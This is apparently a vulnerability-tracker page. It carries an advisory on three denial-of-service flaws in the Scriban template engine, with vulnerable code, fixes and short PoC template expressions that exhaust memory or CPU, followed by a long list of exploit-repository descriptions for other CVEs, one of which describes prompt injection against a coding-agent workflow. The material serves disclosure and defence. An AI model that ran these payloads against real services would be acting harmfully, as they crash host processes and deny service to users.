## Summary Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (`LimitToString`, `LoopLimit`) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates. ## Details ### Vector 1: Unbounded string multiplication In `ScriptBinaryExpression.cs`, the `CalculateToString` method handles the `string * int` operator by looping without any upper bound: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334 var leftText = context.ObjectToString(left); var builder = new StringBuilder(); for (int i = 0; i < value; i++) { builder.Append(leftText); } return builder.ToString(); ``` The `LimitToString` safety control (default 1MB) does **not** protect this code path. It only applies to `ObjectToString` output conversions in `TemplateContext.Helpers.cs` (lines 101-121), not to intermediate string values constructed inside `CalculateToString`. The `LoopLimit` also does not apply because this is a C# `for` loop, not a template-level loop — `StepLoop()` is never called here. ### Vector 2: Unbounded BigInteger shift left The `CalculateLongWithInt` and `CalculateBigIntegerNoFit` methods handle `ShiftLeft` without any bound on the shift amount: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711 case ScriptBinaryOperator.ShiftLeft: return (BigInteger)left << (int)right; ``` ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784 case ScriptBinaryOperator.ShiftLeft: return left << (int)right; ``` In contrast, the `Power` operator at lines 722 and 795 uses `BigInteger.ModPow(left, right, MaxBigInteger)` to cap results. The `MaxBigInteger` constant (`BigInteger.One << 1024 * 1024`, defined at line 690) already exists but is never applied to shift operations. ### Vector 3: LoopLimit bypass via range enumeration in builtin functions The range operators `..` and `..<` produce lazy `IEnumerable<object>` iterators: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417 private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right) { if (left < right) { for (var i = left; i <= right; i++) { yield return FitToBestInteger(i); } } // ... } ``` When these ranges are consumed by builtin functions, `LoopLimit` is completely bypassed because `StepLoop()` is only called in `ScriptForStatement` and `ScriptWhileStatement` — it is never called in any function under `src/Scriban/Functions/`. For example: - `ArrayFunctions.Size` (line 609) calls `.Cast<object>().Count()`, fully enumerating the range - `ArrayFunctions.Join` (line 388) iterates with `foreach` and appends to a `StringBuilder` with no size limit ## PoC ### Vector 1 — String multiplication OOM: ```csharp var template = Template.Parse("{{ 'AAAA' * 500000000 }}"); var context = new TemplateContext(); // context.LimitToString is 1048576 by default — does NOT protect this path template.Render(context); // OutOfMemoryException: attempts ~2GB allocation ``` ### Vector 2 — BigInteger shift OOM: ```csharp var template = Template.Parse("{{ 1 << 100000000 }}"); var context = new TemplateContext(); template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB) // {{ 1 << 2000000000 }} attempts ~250MB ``` ### Vector 3 — LoopLimit bypass via range + builtin: ```csharp var template = Template.Parse("{{ (0..1000000000) | array.size }}"); var context = new TemplateContext(); // context.LoopLimit is 1000 — does NOT protect builtin function iteration template.Render(context); // CPU exhaustion: enumerates 1 billion items ``` ```csharp var template = Template.Parse("{{ (0..10000000) | array.join ',' }}"); var context = new TemplateContext(); template.Render(context); // Memory exhaustion: builds ~80MB+ joined string ``` ## Impact An attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via `OutOfMemoryException` or exhausting CPU resources. This is particularly impactful because: 1. Applications relying on the default safety controls (`LoopLimit=1000`, `LimitToString=1MB`) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps. 2. A single malicious template expression is sufficient — no complex template logic is required. 3. The `OutOfMemoryException` in vectors 1 and 2 typically terminates the entire process, not just the template evaluation. ## Recommended Fix ### Vector 1 — String multiplication: Check `LimitToString` before the loop ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330 var leftText = context.ObjectToString(left); if (context.LimitToString > 0 && (long)value * leftText.Length > context.LimitToString) { throw new ScriptRuntimeException(span, $"String multiplication would exceed LimitToString ({context.LimitToString} characters)"); } var builder = new StringBuilder(); for (int i = 0; i < value; i++) ``` ### Vector 2 — BigInteger shift: Cap the shift amount ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, lines 710-711 and 783-784 case ScriptBinaryOperator.ShiftLeft: if (right > 1048576) // Same as MaxBigInteger bit count throw new ScriptRuntimeException(span, $"Shift amount {right} exceeds maximum allowed (1048576)"); return (BigInteger)left << (int)right; ``` ### Vector 3 — Range + builtins: Add iteration counting to range iterators Pass `TemplateContext` to `RangeInclude`/`RangeExclude` and enforce a limit: ```csharp private static IEnumerable<object> RangeInclude(TemplateContext context, BigInteger left, BigInteger right) { var maxRange = context.LoopLimit > 0 ? context.LoopLimit : int.MaxValue; int count = 0; if (left < right) { for (var i = left; i <= right; i++) { if (++count > maxRange) throw new ScriptRuntimeException(context.CurrentNode.Span, $"Range enumeration exceeds LoopLimit ({maxRange})"); yield return FitToBestInteger(i); } } // ... same for descending branch } ``` Alternatively, validate range size eagerly at creation time: `if (BigInteger.Abs(right - left) > maxRange) throw ...`
PoC: TLPE
CVE-2026-49881, a logic issue in the InCallController class in Android 17's Telecom service that allows an unprivileged app to gain arbitrary code execution as UID 1000 system_server
PoC: cve-2026-75650-magento-validation-lab
Docker lab for validating the CVE-2026-75650 Magento component-level PHP execution primitive and Adobe VULN-39341 patch.
PoC: BLUE-WRITEUP-CVE-2017-0144
Conducted a complete security assessment of an unpatched Windows 7 target ("Blue") to demonstrate the impact of legacy service vulnerabilities in an enterprise environment
PoC: POC-AIOWPM-CVE-2026-19949
PoC funcional de CVE-2026-19949 (AIOWPM): SQLi de segundo orden no autenticada en All-in-One WP Migration <= 7.109 via regex de replace_table_values. Laboratorio Docker + payload derivado (leak de ai1wm_secret_key por REST anonima) + RCE con importacion anonima.
PoC: CVE-2026-28576-poc
SQL injection vulnerability in Android 17 (AOSP)
PoC: CVE-2016-3223
CVE-2016-3223 - Draft or TODO
PoC: RootMyVivo-Exploit
GhostLock (CVE-2026-43499) exploit fork for RootMyVivo Neo — iQOO Neo 11 (PD2520, SM8750, 6.6.89). For authorized research on own devices only.
PoC: CVE-2025-27636-RCE-in-Apache-Camel
CVE-2025-27636 PoC written in Python
PoC: CVE-2026-77578
PoC for CVE-2026-77578 - Authenticated Arbitrary Local File Read in Xibo CMS
PoC: openfire-ssrf-cve-2019-18394
PoC for CVE-2019-18394: unauthenticated full-read SSRF in Openfire <= 4.4.2 FaviconServlet
PoC: Exploit-CVE-2023-6063-PoC-Vuln
CVE-2023-6063-PoC Exploit
PoC: cve-2026-41940-PoC-Linux
CVE-2026-41940 PoC - Linux/Termux Compatible Version
PoC: CVE-2026-11387-WooCommerce-SMS-OTP
SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress; SMS Alert <3.9.6; Unauthenticated Privilege Escalation (Forced Password Reset)
PoC: HTB_Helix_CVE-2023-34468
Writeup of the Hackthebox Helix machine
PoC: CVE-2026-79387-PbootCMS-SQL-Injection
CVE-2026-79387-PbootCMS-SQL-Injection
PoC: Mikrotrick_POC
Testing tool for the Mikrotrick exploit (CVE-2026-67276)
PoC: CVE-2024-44625-Gogs-RCE-0.13.0
No issue for run this exploit.
PoC: CVE-2025-3248
An educational reference and defensive analysis of CVE-2025-3248, a critical code injection vulnerability affecting Langflow.
PoC: CVE-2026-67401-cPanel-EmailTrack-SQLi
CVE-2026-67401 cPanel & WHM EmailTrack SQL Injection — IOC scanner, compromise detection, patch verification, incident response and remediation toolkit.
PoC: CVE-2026-67401
poc in python for CVE-2026-67401
PoC: FortiLOL
FortiClient FortiShield exploit (CVE-2015-5736) for Windows 10 1809
PoC: CVE-2026-67401
CVE-2026-67401 - Draft or TODO
PoC: CVE-2026-62201-OpenClaw-SSRF
Deep-dive analysis of CVE-2026-62201: OpenClaw sandbox exec-server network policy bypass (SSRF). Root cause, vulnerable vs patched code, exploitation, detection, remediation.
PoC: CVE-2024-2961-XXE-Exploit
CVE-2024-2961 (CNEXT) PHP file-read to RCE exploit adapted to an XXE/CTF channel
PoC: Certighost_CVE-2026-54121
AD CS 证书身份伪造漏洞，属于ESC（Exploit Certification）系列 的新成员
PoC: CVE-2026-83991-writeup-and-poc
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83991
PoC: CVE-2026-19089-WooCommerce-Tyche
CVE-2026-19089 WooCommerce Tych Remote Command Execution
PoC: GhostLock-NVIDIA-Shield-9.2.4
Validated GhostLock CVE-2026-43499 port for NVIDIA Shield TV Pro mdarcy 9.2.4
PoC: CVE-2025-8110
CVE-2025-8110 - Gogs <=0.13.x symlink bypass -> arbitrary file write as the Gogs process user
PoC: CVE-2025-58434
CVE-2025-58434 - Flowise (CVE-2025-58434) unauthenticated account takeover via password-reset token disclosure
PoC: CVE-2025-55182
CVE-2025-55182 - React2Shell (CVE-2025-55182) unauthenticated RCE via React Server Components Flight deserialization
PoC: ClickHouse-Native-JDBC
Serpstat fork of housepower/ClickHouse-Native-JDBC 2.7.1. Fixes the CityHash128 checksum defect behind "Checksum doesn't match: corrupted data" on INSERT, upgrades aircompressor to 0.27 (CVE-2024-36114). Drop-in: com.serpstat:clickhouse-native-jdbc-shaded:2.7.1-serpstat.1. Apache 2.0.
PoC: CyberhawksLab-telnetCVE
Writeup/finding of CVE-2026-24061 within the Cyberhawks lab
PoC: CVE-2026-39987
Marimo Pre Authentication RCE
PoC: sift-hardened
Security-hardened fork of sift 17.1.3 for CVE-2026-85625. Not affiliated with crcn/sift.js.
PoC: CVE-2026-82222
⚡ GHOSTLYR00T - CVE-2026-82222 GiveWP RCE Exploit Framework Unauthenticated RCE on GiveWP <= 4.16.7.1. Mass scanning, auto-detection (form/gateway/amount), multi-threading, JSON/TXT output, interactive shell. CVSS 9.8 Critical. ⚠️ Authorized testing only.
PoC: CVE-2026-85046
CVE-2026-85046 | Chrome V8 Type Confusion in Inline Array.prototype.sort (Maglev/Turbofan) | CVSS 8.8 | CWE-843 | Chrome < 152.0.7977.82
PoC: CVE-2026-74239
Sanitized XenForo write-up and proof of concept for CVE-2026-74239.
PoC: CVE-2026-73321
Sanitized XenForo write-up and proof of concept for CVE-2026-73321.
PoC: CVE-2026-73320
Sanitized XenForo write-up and proof of concept for CVE-2026-73320.
PoC: CVE-2026-73319
Sanitized XenForo write-up and proof of concept for CVE-2026-73319.
PoC: CVE-2026-73318
Sanitized XenForo write-up and proof of concept for CVE-2026-73318.
PoC: CVE-2026-73317
Sanitized XenForo write-up and proof of concept for CVE-2026-73317.
PoC: CVE-2026-73316
Sanitized XenForo write-up and proof of concept for CVE-2026-73316.
PoC: CVE-2026-73315
Sanitized XenForo write-up and proof of concept for CVE-2026-73315.
PoC: CVE-2026-73314
Sanitized XenForo write-up and proof of concept for CVE-2026-73314.
PoC: CVE-2026-73313
Sanitized XenForo write-up and proof of concept for CVE-2026-73313.
PoC: CVE-2026-73312
Sanitized XenForo write-up and proof of concept for CVE-2026-73312.
PoC: CVE-2026-73311
Sanitized XenForo write-up and proof of concept for CVE-2026-73311.
PoC: CVE-2026-73310
Sanitized XenForo write-up and proof of concept for CVE-2026-73310.
PoC: CVE-2026-73309
Sanitized XenForo write-up and proof of concept for CVE-2026-73309.
PoC: guardskill
Read-only scanner for git settings that let a repository run code in coding agents (Claude Code, Codex, Cursor, Copilot). Covers the GitSpawn class and CVE-2026-45033. No dependencies, no network, no telemetry.
PoC: cve-2010-4221-lab
From patch to RCE: hand-built exploit for CVE-2010-4221 (ProFTPD TELNET IAC stack overflow), with the full failure-driven journey documented
PoC: netty-http-check
CVE-2026-59903 / CVE-2026-33870: offline checker for the 14 io.netty:netty-codec-http CVEs. Netty ships all modules under one version number but each has its own fix version — 4.1.136.Final (the netty-codec-http2 answer) still leaves this module exposed; it needs 4.1.137.Final / 4.2.17.Final.
PoC: metasploit-lab-report
Educational penetration testing lab report demonstrating exploitation of vsftpd 2.3.4 backdoor vulnerability (CVE-2011-2523) in Metasploitable 2 using Metasploit Framework. Includes detailed documentation of reconnaissance, vulnerability analysis, configuration, verification, and exploitation phases.
PoC: CVE-2026-8069
Technical write-up and PoC for CVE-2026-8069 in Acer NitroSense and PredatorSense
PoC: stylesmuggler-adobe-patches-mageos
composer require delivery of Adobe's official APSB26-146 (CVE-2026-75650) fix for Mage-OS stores, via cweagans/composer-patches. Companion to stylesmuggler-adobe-patches (Magento).
PoC: CVE-2026-8732-PoC
CVE-2026-8732 | WP Maps Pro <= 6.1.0 Unauth Admin Creation
PoC: stylesmuggler-adobe-patches
composer require delivery of Adobe's official APSB26-146 (CVE-2026-75650) fix for Magento, via cweagans/composer-patches. Auto-selects the patch for your Magento version.
PoC: cve-2026-40369-exploit
Exploit inspired by `https://voidsec.com/cve-2026-40369-browser-sandbox-escape/`. Use Feature_RestrictKernelAddressLeak and forge token to Elevate privileges
PoC: CVE-2026-83548-CVE-2026-83549
CVE-2026-83548, CVE-2026-83549, - Draft or TODO - https://github.com/rapid7/metasploit-framework/pull/21883
PoC: hdwebmobile-booking-appointments
Sell bookable services and appointments through WooCommerce -- closes CVE-2026-2931 by construction.
PoC: CVE-2026-52307
Public reference for CVE-2026-52307
PoC: CVE-2026-10795
CVE-2026-10795 - Draft or TODO
PoC: CVE-2025-47981
Assessment script — CVE-2025-47981 SPNEGO NEGOEX heap overflow (CVSS 9.8, wormable). Checks ntoskrnl.exe version, PKU2U registry key, exposed ports. Detection only · KB5062560 · July 2025.
PoC: log4shell-exploitation-detection
Log4Shell (CVE-2021-44228) exploitation from a Kali VM against a vulnerable containerized app, with Splunk-based detection engineering and validated remediation. Covers the full attack lifecycle: exploitation, JNDI and host-level auditd detection, and before/after remediation proof.
PoC: cve-2015-3306-lab
Reproducible Docker lab + raw-socket exploit for CVE-2015-3306 (ProFTPD mod_copy pre-auth arbitrary file copy) — a patch-diffing learning exercise
PoC: CVE-2026-69451-PoC
PoC for the CVE-2026-69451 - Fastprox EoP
PoC: CVE-2026-39987-PoC
CVE-2026-39987 Proof of Concept
PoC: misfortune-cookie
This interactive suite targets CVE-2014-9222 (Misfortune Cookie) in legacy RomPager web servers, alongside modular testing for CVE-2017-17215 (Huawei HG532 RCE), CVE-2018-14847 (MikroTik WinBox credential leak), and the CVE-2021-27101 / CVE-2021-27102 exploit chain (Accellion FTA).
PoC: CVE-2026-77276-PoC
CVE-2026-77276 pre-auth macro RCE via convert-to on Collabora Online
PoC: CVE-2023-52356-libtiff-analysis
Root-cause analysis and patch validation of CVE-2023-52356 in libtiff using AddressSanitizer and GDB.
PoC: BlueGate-CVE-2020-0609
BlueGate Exploit validator - RD Gateway validator for CVE-2020-0609 and CVE-2020-0610 (BlueGate) using OpenSSL DTLS over UDP/3391.
PoC: CVE-2022-4140
WordPress plugin Welcart e-Commerce < 2.8.5 - Arbitrary File Read
PoC: CVE-2026-81780-Hash-Form
CVE-2026-81780 — Hash Form RCE
PoC: CVE-2026-82329-JFrog-Artifactory-
CVE-2026-82329 — JFrog Artifactory Auth Bypass
PoC: cs50-cybersecurity-final-project
CS50 Cybersecurity Final Project: Technical Analysis of the XZ Utils Backdoor (CVE-2024-3094)
PoC: gha-lab-00d54c717d
Security-research lab: CVE-2026-47172 (workflow_run pwn request in deploy.yaml) — flattened snapshot of duck-organization/questbot at 1903b2f
PoC: stylesmuggler-ioc-toolkit
StyleSmuggler (CVE-2026-75650) IOC toolkit for Magento Open Source and Adobe Commerce. Detect compromised stores, Rust implants, PHP web shells, persistence artifacts, and known indicators of compromise.
PoC: CVE-2026-33234
SSRF via smtplib raw TCP sockets bypassing HTTP blocklist in AutoGPT SendEmailBlock
PoC: CVE-2025-5548
Buffer overflow in FreeFloat FTP Server 1.0
PoC: gitssrf-gim-cve-parent
gitssrf-gim CVE-2025-48384 parent
PoC: 2009
Linux Kernel Exploits -> CVE-2009-1185 + CVE-2009-1337 + CVE-2009-2692 + CVE-2009-2698 + CVE-2009-3547
PoC: 2008
Linux Kernel Exploits -> CVE-2008-0600 + CVE-2008-0900 + CVE-2008-4210
PoC: 2006
Linux Kernel Exploits -> CVE-2006-2451 + CVE-2006-3626
PoC: CVE-2026-86218
CVE-2026-86218 - Draft or TODO - N-central is vulnerable to a pre-auth remote code execution
PoC: 2005
Linux Kernel Exploits -> CVE-2005-0736 + CVE-2005-1263
PoC: 2004
Linux Kernel Exploits -> CVE-2004-0077 + CVE-2004-1235 + caps_to_root
PoC: galaxy-a37-root
CVE-2026-43499 exploit payload for Samsung Galaxy A37 (A376BXXS4AZG4, kernel 6.1.138-android14-11)
PoC: CVE-2026-13181-CVE-2026-13182-CVE-2026-13183-CVE-2026-13184
CVE-2026-13181, CVE-2026-13182, CVE-2026-13183, CVE-2026-13184
PoC: exploit-mikrotik-2026
CVE-2026-67276 MikroTik RouterOS SSH Authentication Bypass Exploit
PoC: gha-lab-8aba6b05dc
Security-research lab reproducing CVE-2026-45132 (pwn request via pull_request_target chart-name injection in generate-schema.yaml) — snapshot of CloudPirates-io/helm-charts @ 9f5a7186
PoC: CVE-2026-42031-SQL-Injection-Scanner
CVE-2026-42031 SQL Injection Scanner for CKAN DataStore
PoC: gha-lab-5511dc3f73
Authorized security-research lab reproducing CVE-2026-45131 (pwn request in .github/workflows/pull-request.yaml) — snapshot of CloudPirates-io/helm-charts @ 9f5a7186
PoC: ai-tool-poisoning-guard
Free security-baseline rule for Claude Code, Codex, and Cursor: treats MCP tool descriptions as untrusted input (OWASP MCP Top 10 MCP03, CVE-2025-54136).
PoC: gha-lab-733c168b88
Authorized security-research lab reproducing CVE-2026-44246 (GHSA-63mx-j37w-gh59): prompt injection via verbatim issue title/body inlining into the claude-code-action triage agent in nnU-Net's issue-triage workflow. Snapshot of MIC-DKFZ/nnUNet @ 9a1db0dd1c74894fa17e79014be4097f546a51be.
PoC: CVE-2021-1675
Simulated PoC — PrintNightmare Windows Print Spooler RCE/LPE (CVE-2021-1675 + CVE-2021-34527). Non-functional payload for detection engineering. CISA KEV · Patched July 2021 · MITRE T1068.
PoC: CVE-2025-31324
PoC — SAP NetWeaver Visual Composer unauthenticated file upload (CVSS 10.0). Benign JSP payload. CISA KEV May 2025 · Patched April/May 2025 · T1190 ·
PoC: gha-lab-677752506e
Authorized security-research lab reproducing CVE-2026-42298 (pull_request_target docker-build RCE in pr-docker-build.yml) — flattened snapshot of gitroomhq/postiz-app
PoC: CVE-2026-42559
Docker lab + Python PoC for CVE-2026-42559 - DNS rebinding via unvalidated Host header in the rmcp (Rust MCP SDK) Streamable HTTP server transport
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free